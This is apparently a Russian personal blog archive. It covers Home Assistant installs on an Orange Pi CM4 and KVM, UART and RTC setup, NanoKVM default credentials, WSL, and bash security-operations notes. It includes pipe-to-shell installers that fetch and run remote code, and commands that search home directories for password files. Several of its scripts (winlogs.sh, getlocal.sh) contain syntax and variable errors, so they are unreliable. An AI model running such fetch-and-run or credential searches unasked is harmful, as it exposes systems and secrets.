    container_name: homeassistant
    image: "ghcr.io/home-assistant/home-assistant:stable"
    volumes:
      - /PATH_TO_YOUR_CONFIG:/config
      - /etc/localtime:/etc/localtime:ro
      - /run/dbus:/run/dbus:ro
    restart: unless-stopped
    privileged: true
    network_mode: host
    devices:
      - /dev/ttyS9:/dev/ttyS9
    environment:
      DISABLE_JEMALLOC: true
EOF

Проброс железяки в докер:
- /dev/ttyS9:/dev/ttyS9
- /dev/ttyUSB0:/dev/ttyUSB0

Отключение OOM Killer для контейнера:
DISABLE_JEMALLOC: true

Запуск всего безобразия:
docker compose up -d

cm4 env:

cat /boot/orangepiEnv.txt 
-------------------------
verbosity=1
bootlogo=false
extraargs=cma=128M
overlay_prefix=rk356x
rootdev=UUID=a0f8ca89-7eb7-4a1e-947a-2341637b4782
rootfstype=ext4
overlays=uart3-m0 uart7-m2 uart9-m2
console=serial
-------------------------
Рубрики
orangepi

home-assistant / orangepi cm4 / install supervised / depricated

links:

https://github.com/home-assistant/os-agent/releases
https://github.com/home-assistant/supervised-installer/releases/

install:

0. Обновляем ос:
apt update  -y && apt upgrade -y 

1. Ставим docker:
sudo  curl -fsSL get.docker.com | sh

2. Добавляем текущего юзера в группу docker:
sudo usermod -aG docker $USER

3. Ставим дополнительные пакеты:
sudo apt install -y jq wget curl udisks2 libglib2.0-bin network-manager dbus


4. Ставим os-agent:
wget https://github.com/home-assistant/os-agent/releases/download/1.7.2/os-agent_1.7.2_linux_aarch64.deb 
sudo apt install ./os-agent_1.7.2_linux_aarch64.deb

5. Cтавим AppArmor:
sudo apt install apparmor


6. Ставим Home Assistant:
wget https://github.com/home-assistant/supervised-installer/releases/latest/download/homeassistant-supervised.deb
sudo apt install  ./homeassistant-supervised.deb


6.1 Ошибка пакет "homeassistant-supervised" не ставится:
dpkg: regarding homeassistant-supervised.deb containing homeassistant-supervised, pre-dependency problem:
 homeassistant-supervised pre-depends on systemd-timesyncd
  systemd-timesyncd is not installed.
dpkg: error processing archive homeassistant-supervised.deb (--install):
 pre-dependency problem - not installing homeassistant-supervised
Errors were encountered while processing:
Выполняем:
sudo apt --fix-broken install
И пробуем поставить пакет заново

6.2 Ошибка:
[info] Waiting for https://checkonline.home-assistant.io/online.txt - network interface might be down...
У вас проблемы с DNS. 
ping ya.ru
если не ок
можно временно поправить файл /etc/resolv добавив строку "nameserver 8.8.8.8"
после установки разберитесь с днс

7. В окошке выбора типа архитектуры выбираем odroid-c2.
ждем мин 5 и пробуем подключится http://YOU_IP:8112
ждем окончания установки

apparmor err

cat /boot/orangepiEnv.txt
-------------------------
verbosity=1
bootlogo=false
extraargs=cma=128M
overlay_prefix=rk356x
rootdev=UUID=a0f8ca89-7eb7-4a1e-947a-2341637b4782
rootfstype=ext4
overlays=uart3-m0
console=serial
apparmor=1 security=apparmor
-------------------------

P.S

А теперь о печальном.
Этот способ установки будет жить и поддерживается до 2025.12.

https://www.home-assistant.io/blog/2025/05/22/deprecating-core-and-supervised-installation-methods-and-32-bit-systems/
из линка:
Поскольку сегодня мы объявили устаревшими методы установки Core и Supervised, мы работаем над удалением всех упоминаний о них из нашей документации.
Рубрики
orangepi

home-assistant / kvm / install

link:

https://www.home-assistant.io/installation/linux
https://github.com/home-assistant/operating-system/releases/download/16.0/haos_ova-16.0.qcow2.xz

Видос:


Поддерживаемые устройства:
https://www.home-assistant.io/integrations/zha/#compatible-hardware%C3%90%C2%A3%C3%91%C2%81%C3%91%C2%82%C3%90%C2%B0%C3%90%C2%BD%C3%90%C2%BE%C3%90%C2%B2%C3%90%C2%BA%C3%90%C2%B0

Образы под arm на гитхаб:
https://github.com/home-assistant/operating-system/releases

образ под arm64:
https://github.com/home-assistant/operating-system/releases/download/16.1/haos_generic-aarch64-16.1.qcow2.xz

Пред настройка kvm:

0. Ставим пакеты:
apt install cockpit-networkmanager  cockpit-machines cockpit-storaged cockpit-ws cockpit-packagekit cockpit-podman
apt install qemu-kvm libvirt-daemon-system ovmf  virtinst
apt install openvswitch-switch

#Под arm64
apt-get install qemu-utils qemu-efi-aarch64 qemu-system-arm  qemu-efi-aarch64 qemu-system-arm qemu-user-static osinfo-db
apt install virt-manager libvirt0 qemu-system libvirt-daemon libvirt-daemon-system libvirt-daemon-system-systemd libvirt-clients libvirt-daemon-config-network qemu-efi-arm qemu-efi-aarch64

usermod -aG kvm user_name
usermod -aG libvirt user_name 

2. Создаем бридж ovs:
ovs-vsctl show
ovs-vsctl add-br ovsbr0
ovs-vsctl add-port ovsbr0 end1
где ovsbr0 - бридж и end1 - сетевая карта

3. Отключаем NetworkManage и настраиваем networking
systemctl disable NetworkManager
systemctl enable networking.service 
vim /etc/network/interfaces
---------------------------
source /etc/network/interfaces.d/*

auto lo
iface lo inet loopback

auto end1 
iface end1 inet manual

auto ovsbr0
iface ovsbr0 inet dhcp
---------------------------

Создаем сеть:
vim ovsbr0.xml
-------------------------------------------
<network>
  <name>default</name>
  <forward mode='bridge'/>
  <bridge name='ovsbr0'/>
  <virtualport type='openvswitch'/>
</network>
-------------------------------------------

virsh net-destroy default
irsh net-undefine default 
virsh net-create --file /root/ovsbr0.xml
virsh net-autostart default
virsh net-start default

wget:

wget https://github.com/home-assistant/operating-system/releases/download/16.0/haos_ova-16.0.qcow2.xz 
unxz haos_ova-16.0.qcow2.xz 

install virt-manage:

1. Create a new virtual machine in virt-manager.
2. Select Import existing disk image, provide the path to the QCOW2 image above.
3. Choose Generic Default for the operating system.
4. Check the box for Customize configuration before install.
5.Under Network Selection, select your bridge.
Under customization select Overview > Firmware > UEFI x86_64: …. Make sure to select a non-secureboot version of OVMF (does not contain the word secure, secboot, etc.), e.g., /usr/share/edk2/ovmf/OVMF_CODE.fd.
7. Click Add Hardware (bottom left), and select Channel.
8. Select device type: unix.
9. Select name: org.qemu.guest_agent.0.
10 Finally, select Begin Installation (upper left corner).

install virt-install:

virt-install --name haos \
--description "Home Assistant OS" \
--os-variant=generic \
--ram=4096 \
--vcpus=2 \
--disk ,bus=scsi \
--controller type=scsi,model=virtio-scsi \
--import \
--graphics none \
--boot uefi

install virt arm:

cd /var/lib/libvirt/images
wget https://github.com/home-assistant/operating-system/releases/download/16.1/haos_generic-aarch64-16.1.qcow2.xz


virt-install --name haos \
--description "Home Assistant OS" \
--os-variant=generic \
--osinfo generic \
--ram=2048 --vcpus=2 \
--disk haos_generic-aarch64-16.1.qcow2,bus=scsi \
--controller type=scsi,model=virtio-scsi \
--import --graphics none \
--boot uefi

HACS

HACS - дополнительные интеграции
links:
https://io-home.ru/home-assistant/integrations/ssh-dostup-v-home-assistant/
https://io-home.ru/home-assistant/integrations/dobavljaem-hacs-v-home-assistant/

!!! Вам понадобится учетная запись на Github

0. Установка терминала:
Настройки -> Дополнения -> Магазин дополнений = SSH & Web Terminal

1. В терминале ставим:
1.1 Ставим:
wget -O - https://get.hacs.xyz | bash -
1.2 Перезагружаем:
reboot
2. Устанавливаем HACS
Настройки -> Устройства и службы  -> Добавить интеграцию = HACS

Рубрики
orangepi

orangepi cm4 / uart3 / uart7 / uart9 / test

links:

https://drive.google.com/drive/folders/1lbEI5JdLWwI6y9VoGM0nioFDhzF79QSu
http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi-Zero-2W.html

work


#Конфиг env boot:
root@orangepicm4:~# cat /boot/orangepiEnv.txt 
verbosity=1
bootlogo=false
extraargs=cma=128M
overlay_prefix=rk356x
rootdev=UUID=a0f8ca89-7eb7-4a1e-947a-2341637b4782
rootfstype=ext4
overlays=uart3-m0 uart7-m2 uart9-m2
console=serial


#скрипт 1
root@orangepicm4:~# cat uart9.txt
#!/bin/bash
#

xxx=0

while :
do
        echo -n -e "\nHello UART9! ${xxx}"
        echo -n -e "\nHello UART9! ${xxx} \r" > /dev/ttyS9
        #sleep 1
        let xxx++
done

#скрипт 2
root@orangepicm4:~# cat uart7.txt
#!/bin/bash
#

xxx=0

while :
do
        echo -n -e "\nHello UART7! ${xxx}"
        echo -n -e "\nHello UART7! ${xxx} \r" > /dev/ttyS7
        #sleep 1
        let xxx++
done



# Настройка UART7 (например, 115200 бод, 8 бит, без контроля чётности, 1 стоп-бит)
sudo stty -F /dev/ttyS7 115200 cs8 -parenb -cstopb

# Настройка UART9 (такие же параметры)
sudo stty -F /dev/ttyS9 115200 cs8 -parenb -cstopb

Проверить настройки можно так:
stty -F /dev/ttyS7 -a
stty -F /dev/ttyS9 -a
echo "Hello UART!" > /dev/ttyS7
echo "Hello UART!" > /dev/ttyS9


mincom -D /dev/ttyS7 -b 115200
mincom -D /dev/ttyS9 -b 115200


screen /dev/ttyS7 115200
screen /dev/ttyS9 115200


echo "Hello UART!" > /dev/ttyS7
echo "Hello UART!" > /dev/ttyS9
Рубрики
orangepi

orangepi cm4 / i2c / rtc / ds1338 / ds1307 / hwclock

Проверяем а если часы:
dmesg | grep rtc


Проверяем какие модули загружены:
lsmod 

Проверяем что у нас на шине i2c (у нас часы имеют адрес 68)
i2cdetect -y 1

Пробуем прочитать регистры:
i2cget -y 1 0x68 0x00
for reg in {0..6}; do      echo "Регистр 0x0$reg: $(i2cget -y 1 0x68 0x0$reg)";  done

Пробуем изменить вывод на 24 часа:
i2cset -y 1 0x68 0x02 0x12

Добавляем часы в систему что бы можно было с ними взаимодействовать
modprobe rtc-ds1307
echo "ds1307 0x68" > /sys/class/i2c-adapter/i2c-1/new_device
dmesg | grep rtc
hwclock -s -f /dev/rtc1

# Запись системного времени в RTC
hwclock --systohc
hwclock --systohc -f /dev/rtc1

# Чтение времени из RTC
hwclock -v 
hwclock -v -f /dev/rtc1

Для автоматического включения модуля ядра rtc-ds1307:
echo "rtc-ds1307" >> /etc/modules


python script:

apt install python3-smbus2 


cat > clock.py << "EOF"
from smbus2 import SMBus
import time

I2C_BUS = 1      # номер шины (0 или 1)
DEV_ADDR = 0x68  # адрес DES3338 на шине

with SMBus(I2C_BUS) as bus:
    # Чтение 7 байт (секунды, минуты, часы...)
    data = bus.read_i2c_block_data(DEV_ADDR, 0x00, 7)
    print(f"Время: {data[2]}:{data[1]}:{data[0]}")
EOF


python clock.py 


Рубрики
device \ устройства \ железо

nano kvm lite

link:

https://github.com/sipeed/NanoKVM
https://github.com/sipeed/NanoKVM/releases
https://www.ozon.ru/search/?text=nano+kvm+lite&from_global=true

default password:

Логин: admin 
Пароль: admin
Рубрики
bash

bash / sec / wsl / Конспект

wsl

0. Установка WSL (всё одной командой)
wsl —install

1. WSL 1 или WSL 2?
wsl —set-default-version 2
|                    | WSL 1                     | WSL 2 |
|--------------------|---------------------------|-------|
| Ядро               | Эмуляция                  | Реальное Linux-ядро 
| Производительность | Быстрее на Windows-диске  | Лучше на Linux-утилитах 
| Совместимость      | Ограниченная | Почти 100% |
| Поддержка Docker   | x                         | y 
| GUI-приложения     | x                         | y (в Windows 11) 


2. Работа с файлами и системами
Доступ к Windows-дискам: /mnt/c/Users/...  
Поддержка Git, Python, Node, npm, pip, apt  


3. Можно запускать команды Windows внутри Linux и наоборот:
notepad.exe test.txt

4. Настройка терминала
Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами.

5. Обновление WSL и Linux-дистрибуции
wsl —update
wsl —shutdown

6. Внутри Ubuntu:
sudo apt update && sudo apt upgrade -y


7. Установка других дистрибутивов
WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие:
wsl —list —online
wsl —install —distribution Debian

8. Поддержка GUI и Docker
В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg).  
Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM.

9. Дополнительные фичи
.wslconfig для настройки ресурсов (CPU, RAM, swap)  
Автоматический mount директорий  
Работа с systemd, crontab, background-сервисами (в новых версиях)

Основы:

Командная строка - это общий термин, относящимся к средствам, 
передающим команды в интерактивную систему компьютера.

Создать директорию:
mkdir -p /tmp/fff

Тип файла:
type -t if
type -t pwd
type -t ls

Посмотреть какие команды встроены в интерпретатор:
compgen -k
compgen -c
compgen -b

Стандартный ввод / вывод / ошибки
0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура).
1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал).
2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал).

Перенаправление stdout:
Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан.
ls > output.txt

Оператор >> добавляет вывод в конец файла, не перезаписывая его.
echo "Hello" >> output.txt

Чтобы перенаправить поток ошибок в файл, используется 2>.
ls /nonexistent 2> errors.txt

2>> добавляет ошибки в конец файла:
ls /nonexistent 2>> errors.txt

Игнорирование ошибок:
command 2> /dev/null
 
Запись вывода и ошибок в один файл:
command > output.txt 2>&1
 
Раздельная запись stdout и stderr:
command > output.txt 2> errors.txt
 
Отправка всех данных в «черную дыру»:
command > /dev/null 2>&1


Сделать все одной строкой:
prog < data.in > result.out 2> errr.msg

Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы)
prog  < data.in > result.out 2>&1


Выполнение команд в фоновом режиме:
ping 192.168.10.56 > ping.log &
ping 192.168.10.56 &> ping.log &
jobs
fg 1
crtrl+z


Скрипты
#!/bin/bash - шабанг, первая строка любого скрипта на баш
#!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша 
bash myscript
chmod 755 myscript
./myscript  

Основы работы:

echo "Hello world"
printf "Hello world\n"

Переменные:
MYVAR=textmyvar
echo $MYVAR

Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов:
MYVAR='here is a longer set of worlds'
OTHVAR="either double or single quotes will work"

Двойные кавычки позволит выполнять другие элементы внутри строки:
FIRSTVAR=beginning
SECONDVAR="this is just the $FIRSTVAR"
echo $SECONDVAR
echo ${SECONDVAR}

!!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $,
все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет.

Сохранить вывод, полученный командной оболочки, с помощью символа $():
CMDOUT=$(pwd)

Позиционные параметры:
$# - возвращает общие кол-во параметров
$0 - имя скрипта
$1 - первый параметр
$2 - второй параметр
$3 - третий параметр

#!/bin/bash
#echoparms.sh   
echo $#
echo $0
echo $1
echo $2
echo $3



Условия:
Успешное выполнение скрипта возвращает 0.
Возвращаемое значение 0 считается success или true.
Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?:
echo $?

Пример условий if:
if cmd
then
  some cmds
else 
  other cmds
fi


Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls:
if cd /tmp
then
  echo "her eis what is in /tmp:"
  ls -l
fi

Пример конвейера if:
if ls | grep pdf
then
  echo "found more pdf"
else
  echo "no found pdf"
fi

Но есть нюанс если использовать с wc в конвейере:
ls | grep pdf | wc
Будет всегда возращено 0



Команда test и [, проверка атрибутов файлов или сравнения значений.
Проверка файлов и каталогов:
-d - проверка существования каталога
-у - проверка существования файла
-r - проверка существования файла и доступен ли он для чтения
-w - проверка существования файла и доступен ли файл для записи
-x - проверка существования файла и  можно ли файл выполнить

Проверка существования файла:
if [[ -e $FILENAME ]]
then
  echo $FILENAME exists
fi

Сравнение файлов или переменных:
-eq - тест на равенство
-gt - проверка, больше ли одно число, чем другое
-lt - проверка, меньше ли одно число, чем другое
Проверка меньше ли $VAL чем $MIN
if [[ $VAL -lt $MIN ]]
then
  echo "value is to small"
fi

!!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым
!!! Так что рекомендуется использовать -eq, -gt, -lt
!!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( ))
!!! Оператор $ не требуется в этой конструкции
if (( VAL < 12 ))
then 
  echo "value $VAL is to small"
fi


Последовательное выполнение команд с использование оператора ;
Пример:
cd $DIR; ls

Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда:
cd /etc/ && ls /etc && ls /etc/ | wc

Специальная команда ||,  если первая команда не выполнилась успешно то выполнится следующая команда.


Команды [[ можно выполнять без конструкции if
[[ -d $DIR ]] && ls "$DIR"
Аналог вот такой записи:
if [[ -d $DIR ]]
then
  ls "$DIR"
fi

Вот еще примеры:
[[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit
[[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; }


Циклы while ( пока i меньше 1000, выполняем цикл)
i=0
while (( i < 1000))
do 
  echo $i
  let i++
done


Цикл while выполняет команды как часть своего условия:
while ls | grep -q pdf 
do 
  echo -n 'there is a file with pdf in lts name here:'
  pwd
  cd ..
done

Циклы for:
for ((i=0; i < 100; i++))
do
  echo $i
done

Еще for:
./args.sh bash is fun
for ARG
do
  echo here is an argument: $ARG
done


Еще far список:
for VAL in 20 3 dog peach 7 vanilla
do
  echo $VAL
done

Еще список можно генерировать используя другие программы, пример:
for VAL in $(ls | grep pdf) {0..5}
do
  echo $VAL
done


Функции и свои функции:
function myfun ()
{
 # это тело функции
}
Выполнение своей функции:
myfun




Шаблоны подстановки и перечисление / wildcarding
Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия.
Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов.
Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку,
если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку.
Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc.
Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций.
Шаблоном для имен скрытых файлов является .* (точка и звездочка).
Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка".
 
Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса.
В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов.
 
Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон.
Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского.
echo .[bcd]*
 
Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки.
Например, [!abc] — множество любых символов, кроме a, b или c.
 
Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash.
Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках
echo .bash{rc,_profile}

точка . - любой один символ
? - любой один символ
* - любое кол-во символов
а* - a, ab, abc и aecjejich
^ - начало строки
$ - конец строки 
^а - Любое «а», находящееся в начале строки 
*а$ - Любое «а», находящееся в конце строки 
а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с»
 
[] - диапазон 
[^a] - прикол  в таких скобках с "^" все что угодно только не "a"
[^0-9]
[^[:alnun:]]
[bcf]at - bat, cat или fat
[a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д.
[A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д.
1[3-5]7 - 137,147 и 157
[0-9]    [[:digit:]] \d \D
[a-z]
[A-Z]
[a-zA-Z0-9]
[[:alnun:]]  \w  \W
[[:space:]]  \s  \S
 
[A-Z] - большие буквы
[0-9] - цифры
[a-z] - мелкие буквы
[A-Za-z]
www\.[a-z]*\.com
 
[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ


d{n,m} - квантификатор 
{} -  последовательность
touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt
grep -E  '[0-9]{1,3}'
 
\tHello	- Символ табуляции, предшествующий слову hello
\[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра
\n - новая строка
\r - символ возврата
 

Мата символ * 
Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа. 
Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему 
числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках, 
нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление 
регулярных выражений отличается от glob-подстановок:
ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?)
ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками)
ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону)
b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be»)
b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым)
b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке)
b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга)
.* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".")
foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки 
этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.»)
Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому, 
что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя, 
что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках.


Регулярные выражения:


grep 
-c - вывести кол-во строк, соответствующего шаблону
-E - включить расширенное регулярное выражение
-f - читать шаблон поиска, находящийся в предоставленном файле
-i - игнорировать регистр символов
-l - вывести только имя файла и путь, по которому был найден шаблон
-n - вывести номер строки файла, в которой был найден шаблон
-P - включить механизм регулярных выражений Perl
-R, -r - выполнить рекурсивный поиск подкаталогов


Пример:
grep -R -i 'password' /home
egrep это grep -E

Пример текса file.txt для работы с grep:
1 Two roads diverged in a yellow wood,
2 And sorry I cloud not travel both
3 And be one traveler, long I stood
4 And looked down one as far as I could
5 To where it bent in the undergrowth;
6 
7 Excerpt from The Road Not Taken by Robert Frost
8 User: XTjon
9 XWING model 7
10 an an an


Метасимвол .
В регулярных выражения точка (.), представляет собой один символ подстановки
grep 'T.o' file.txt

Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\),  так (\.)

Метасимвол ?
В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, 
символ сопоставляется один раз, а дальше игнорируется.
egrep 'T.?o' file.txt

Метасимвол *
В регулярных выражениях звездочка (*) - это специальный символ, 
который  соответствует предыдущему элементу неограниченное кол-во раз.
grep 'T.*o' file.txt

Метасимвол + 
Метасимвол плюс (+) работает так же, как и *, за исключением того, 
что предыдущий ему элемент должен встретиться хотя бы однажды. 
egrep 'T.+o' file.txt

Группирование 
Для группирования символов можно использовать скобки.
egrep 'And be one (stranger|traveler), long I stood' file.txt

Квадратные скобки и классы символов
[abc] - соответствует только символу a, или b, или c
[1-5] - соответствует цифрам от 1 до 5 
[a-zA-Z] - соответствует любым символа от a до z
[0-9+-*/] - соответствует числам или любым четырем указанным математическим символам
[0-9a-fA-F] - соответствует шестнадцатеричному символу
\s - пробельный символ
\S - не пробельный символ
\d - цифровой символ
\D - не цифровой символ
\w - слово
\W - не слово
\x - шестнадцатеричное число (например, 0x5F)
!!! Обратите внимания эти сокращения работаю только с опцией -P, Perl

grep -P '\d' file.txt

[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ

grep 'X[[:upper:][:digit:]]' file.txt


Обратные ссылки:
tags.txt
Commmand
line
is
great
! Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info

cut

cut  - используется для извлечения частей файла
-c - символ для извлечения  
-d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции.
-f - поля для извлечения
Пример:
cutefile.txt
12/05/2025 10.33.66.3 test.html
12/05/2025 17.14.13.3 loging.html

cut -d' ' -f2 cutefile.txt

file

file - используется для идентификации типа файла
-f - читать список файлов для анализа из данного файла
-k - не останавливается на первом совпадении, перечислить все 
-z - просмотреть сжатые файлы

Пример:
file filename.un

head

head - отобразит  несколько первых строк или бит, по умолчанию 10
-n - кол-во строк
-c - количество байтов

reg

reg - используется в winpws, для работы с реестром
add - добавить запись в реестор
export - копировать указанные записи реестра в файл
query - возвратить список подразделов ниже указанного пути

Пример:
reg query HKEY_LOCAL_MACHINE

wevtutil

wevtutil - просмотр системных журналов в windows
el - перечислить доступные журналы
qe - запросить события журнала
Общие команды:
/c - максимальное событие для чтения
/f - форматирование вывода в виде текста или XML
/rd - если установлено в true то сначала прочитать свежие события

Примеры
wevtutil el
wevtutil qe System //c:1 //rd:true
wevtutil qe System /c:1 /rd:true

Собираем файлы журнала Linux

tar -czf ${HOSTNAME}_logs.tar.gz /var/log

Параметры:
-c - create - создание для создания архивного файла
-z - zip - архивирование
-f - file - указание имени файла
${HOSTNAME} - переменная баш, текущие имя хоста

Логи:
/var/log/apache2/  - журналы доступа и ошибок для вебсервера apache2
/var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности
/var/log/kern.log - журнал ядра
/var/log/messages - общая не критическая системная информация
/var/log/syslog - общие системные журналы

конфиги:
/etc/syslog.conf
/etc/rsyslog.conf

Собираем файлы журналов Windows

Для скрипта на баш используется git bash.
Пример скрипта:
#!/bin/bash
#
# winlogs.sh
# Описание:
# Собираем логи windows
# Использование:
# winlogs.sh [-z]
#    -z  заархивировать вывод
#
TGZ=0
if (( $# > 0 ))
then
    if [[ ${1:0:2} == '-z']]
    then
    TGZ=1
shift
  f1
SYSMAN=$(hostname)
LOGDIR=${1:-/tmp/${SYSMAN}_logs}

mkdir -p $LOGDIR
cd ${LOGDIR} || exit -2

wevtutil el | while read ALOG
do
  ALOG="${ALOG%$'\r'}"
  echo "${ALOG}:"
  SAFNAM="${ALOG// /_}"
  SAFNAM="${SAFNAM//\//-}"
  wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx"
done

if (( TGZ == 1 ))
then
    tar -czvf ${SYSNAM}_logs.tgz *.evtx
fi


Сбор информации о системе



linux bash            windows git bash     Что?
uname -a              uname -a             Показать информацию о версии ОС
cat /proc/cpuinfo     systeminfo           Вывести сведения о системном оборудовании и связанную информацию
ifconfig              ipconfig             Вывести информацию о сетевом интерфейсе
route                 route print          Показать таблицу маршрутизации
arp -a                arp -a               Вывести таблицу ARP ( протокол определения адреса)
netstat -a            netstat -a           Отобразить сетевые подключения
mount                 net share            Вывести информацию о файловых системах
ps -e                 tasklist             Отобразить запущенные процессы


файл cmds.txt
# Linux Command   | MSWin Bash  | XML tag   | Purpose
#-----------------+-------------+-----------+------------------
uname -a          | uname -a    | uname     | O.S. ver
cat /proc/cpuinfo | systeminfo  | sysinfo   | sysinfo
ifocnfig          | ipconfig    | interface | Network info
ip -a             | ipconfig    | interface | Network info
route             | route print | nroute    | routing table
arp -a            | arp -a      | narp      | arp table
netstat -a        | netstat -a  | netstat   | network connection
ss -a             | netstat -a  | netstat   | network connection
mount             | net share   | diskinfo  | mounter disk 
ps -e             | task list   | processes | running processes

Сценарий определения типа OS

getlocal.sh
#!/bin/bash
#
# Описание:
# Собираем основную информацию о системе и сбрасываем в файл
# Использование:
# getlocal.sh < cmds.txt
#  cmds < этот файл со списком команд для выполнения
#
# SepCmds - отделение команд от строки ввода
function SepCmds()
{
   LCMD=${ALINE%%|*}
   REST=${ALINE#*|}
   WCMD=${REST%%|*}
   REST=${RST#*|}
   TAG=${REST%%|*}

   if [[ $OSTYPE == "WsWin" ]]
   then 
       CMD="$WCMD"
   else
       CMD="$LCMD"
   fi
}

function DumpInfo()
{
   printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE"
   printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')"
   readarray CMDS
 for ALINE in "${CMDS[@]}"
   do 
     # игнорировать комментарии
     if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi

     SepCmds

     if [[ ${CMD:0:3} == N/A ]]
     then
        continue
     else
        printf "<%s>\n" $TAG
        $CMD
        printf "\n" $TAG
     fi
 done
 printf "\n"
}

OSTYPE=$(./osdetect.sh)
HOSTNM=$(hostname)
TMPFILE="${hostname}.info"

# сбор информации
DumpInfo > $TMPFILE 2>&1

Сбор данных о реестре Windows

Экспорт всего реестра:
regedit //E ${HOSTNAME}_reg.bak

Экспорт раздела:
reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak


Поиск файлов в системе:

find 
grep

find /home -name '*password*'
find /home -name '*password*' 2>/dev/null

Поиск скрытых файлов в linux:
find /home -name '.*'

Поиск скрытых файлов в windows:
dir c:\ /S /A:H

Поиск и запуск команды:
